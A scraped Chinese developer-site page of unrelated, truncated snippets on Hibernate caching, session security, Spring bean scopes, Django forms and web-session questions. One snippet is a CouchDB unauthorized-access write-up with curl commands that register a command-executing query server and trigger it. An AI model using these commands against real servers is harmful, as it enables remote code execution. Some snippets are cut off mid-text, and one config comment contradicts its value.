session

hibernate笔记--缓存机制之 二级缓存(sessionFactory)和查询缓存

若如初见. 提交于 2020-02-25 01:43:21
二级缓存(sessionFactory):    Hibernate的二级缓存由SessionFactory对象管理,是应用级别的缓存。它可以缓存整个应用的持久化对象,所以又称为“SessionFactory缓存”.    hibernate二级缓存中的缓存对象可以被整个应用的Session对象共享,即使关闭当前Session对象,新建的Session对象仍可使用。使用Hibernate的二级缓存之后查询数据,Session对象会首先在以及缓存中查找有无缓存数据被命中。如果没有,则查找二级缓存。如果有,则直接返回所命中的数据;否则查询数据库   下面介绍在hibernate中如何开启和使用二级缓存:   1.在hibernate.cfg.xml中开启二级缓存,并且配置cache.region.factory_class: <!-- 开启二级缓存 --> <property name="cache.use_second_level_cache">false</property> <!-- 配置cache.region.factory_classs --> <property name="cache.region.factory_class">org.hibernate.cache.ehcache.EhCacheRegionFactory</property>   2

CouchDB 未授权访问漏洞

半城伤御伤魂 提交于 2020-02-24 21:16:04
0x00 CouchDB安装 CouchDB官方网站:http://couchdb.apache.org/ 一路Next直到完成安装,打开浏览器并访问以下链接:http://127.0.0.1:5984/ 可以使用以下网址与CouchDB Web界面进行交互:http://127.0.0.1:5984/_utils 0x01 漏洞利用 1、新增query_server配置,写入要执行的命令; curl -X PUT 'http://username:password@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"' 2、新建一个临时库和临时表,插入一条记录; curl -X PUT 'http://username:password@your-ip:5984/vultest' curl -X PUT 'http://username:password@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}' 3、调用query_server处理数据 curl -X POST 'http://username:password@your-ip:5984/vultest/_temp_view?limit=10' -d '

web安全杂记

拥有回忆 提交于 2020-02-24 21:07:03
session防御方法 1、每当用户登陆的时候就进行重置sessionID 2、sessionID闲置过久时,进行重置sessionID 3、 大部分防止会话劫持的方法对会话固定攻击同样有效。如设置HttpOnly,关闭透明化Session ID,User-Agent验证,Token校验等。 防御方法: 1、 更改Session名称。PHP中Session的默认名称是PHPSESSID,此变量会保存在Cookie中,如果攻击者不分析站点,就不能猜到Session名称,阻挡部分攻击。 2、 关闭透明化Session ID。透明化Session ID指当浏览器中的Http请求没有使用Cookie来存放Session ID时,Session ID则使用URL来传递。 3、 设置HttpOnly。通过设置Cookie的HttpOnly为true,可以防止客户端脚本访问这个Cookie,从而有效的防止XSS攻击。 4、 关闭所有phpinfo类dump request信息的页面。 5、 使用User-Agent检测请求的一致性。但有专家警告不要依赖于检查User-Agent的一致性。这是因为服务器群集中的HTTP代理服务器会对User-Agent进行编辑,而本群集中的多个代理服务器在编辑该值时可能会不一致。 6、 加入Token校验。同样是用于检测请求的一致性,给攻击者制造一些麻烦

What should I do If I want to maintain session between HTTP and HTTPS - Asp.Net

人走茶凉 提交于 2020-02-24 17:54:12
问题 What should I do If I want to maintain session between HTTP and HTTPS.. In my site's public area some pages are HTTP and some are HTTPS but I want to keep common session for both.. 回答1: Once your user's have authenticated they will continue to have the same session cookie until it expires whether they are accessing pages with HTTP or HTTPS. Make sure that you are using encryption on your session cookie to make it more difficult to crack if you are passing it over an insecure protocol. You

Accessing the action class variable in a second action

梦想的初衷 提交于 2020-02-24 14:55:31
问题 I have two methods in my Action class preprocess() and getThresholdData() : I set a List<String> variable in the preprocess() method (called when the page loads); Then from the JSP page, a form is submitted and getThresholdData() is called. JSP: <body> <s:form action="getThresholdDataConfigureTspThreshold"> <s:select list="tspNames" label="Select TSP:" name="tspName"></s:select> <s:radio list="{'Default', 'Latest'}" label="Select Threshold type:" name="thresholdType"></s:radio> <s:submit

Spring框架学习与实践(四)

六月ゝ 毕业季﹏ 提交于 2020-02-24 12:31:08
Spring 中 Bean 的作用域演练 Spring 中 Bean 有5种作用域,后面会详细介绍 singleton 和 prototype 这两种最常用的作用域。 作用域的种类 Spring 容器在初始化一个 Bean 的实例时,同时会指定该实例的作用域。Spring3 为 Bean 定义了五种作用域,具体如下: 1, singleton 单例模式,使用 singleton 定义的 Bean 在 Spring 容器中只有一个实例,这也是 Bean 默认的作用域 2, prototype 原型模式,每次通过 Spring 容器获取 prototype 定义的 Bean 时,容器都将创建一个新的 Bean 实例 3, request 在一次 HTTP 请求中,容器会返回该 Bean 的同一个实例。而对不同的 HTTP 请求,会返回不同的实例,该作用域仅在当前 HTTP Request 内有效 4, session 在一次 HTTP Session 中,容器会返回该 Bean 的同一个实例。而对不同的 HTTP 请求,会返回不同的实例,该作用域仅在当前 HTTP Session 内有效 5, global Session 在一个全局的 HTTP Session 中,容器会返回该 Bean 的同一个实例。该作用域仅在使用 portlet context 时有效 在上述五种作用域中

php session lost after header() redirect

社会主义新天地 提交于 2020-02-24 12:30:09
问题 This is first time i try to create a session. Also, after success login i redirect the page using header() function, but then on the redirected page i dont have session any more. There is the code: creating session: function userLogin($user){ session_start(); $_SESSION['username'] = $user; header("Location: /~klemeno/vaja10?" . SID); exit; } When browser redirect me i try to echo session like this: if(isset($_SESSION['username'])){ echo $_SESSION['username']; } else{ echo "No session :("; }

HTTPS to HTTPS redirect session issue

梦想的初衷 提交于 2020-02-24 11:54:31
问题 I have a site (built on LAMP (cakephp) and has ssl certificate installed) which has a secure payment page. After filling up necessary information user proceeds to a payment gateway page. After all the process at the gateway end, gateway redirects to one of my URL, which I have to mention with a payment request. Now when I keep this url as http redirect happens properly and all the sessions are maintained. But I want to make this page as https, and when the payment gateway redirects to the

Session not persist on Laravel 5.4

时光总嘲笑我的痴心妄想 提交于 2020-02-24 07:54:37
问题 I'm having some problems with Laravel Sessions, now I'm working under Laravel 5.4, so, I'm using this code for set session: $request->session()->put('usuario', 'somevalue'); But when I'm trying to get the session value from another function on same controller with this code: $request->session()->get('usuario'); I'm getting NULL, I'm trying importing Session and using "web" middleware use Illuminate\Support\Facades\Session; But I still getting same error. Routes: Route::group(['middleware' =>

Django之form组件用法

荒凉一梦 提交于 2020-02-24 07:40:05
form介绍   form组件常用于对用户输入的内容做效验,比如效验用户是否输入,输入的长度和格式是否正确。如果用户的输入有错误就会在页面相对应的位置,显示出与之对应的错误信息。 orm组件的主要功能如下:①生成页面可用的HTML标签,②对用户提交的数据进行校验,③保留上次输入内容。 form组件能直接完成以下的三步操作:   1、前端页面搭建       ---------> 渲染页面   2、将数据传输到后端做效验    ---------> 效验数据   3、展示错误信息        ---------> 展示信息 forms组件基本用法 1.写一个基于forms.From的类 from django import forms # 引入Django中的forms模块 class LoginForm(forms.Form): username = forms.CharField(max_length=8,min_length=3) # 用户名最长八位最短三位 password = forms.CharField(max_length=8,min_length=5) # 密码最长八位最短五位 email = forms.EmailField() # email必须是邮箱格式 2.form基本使用 from app01 import views #1.将需要校验的数据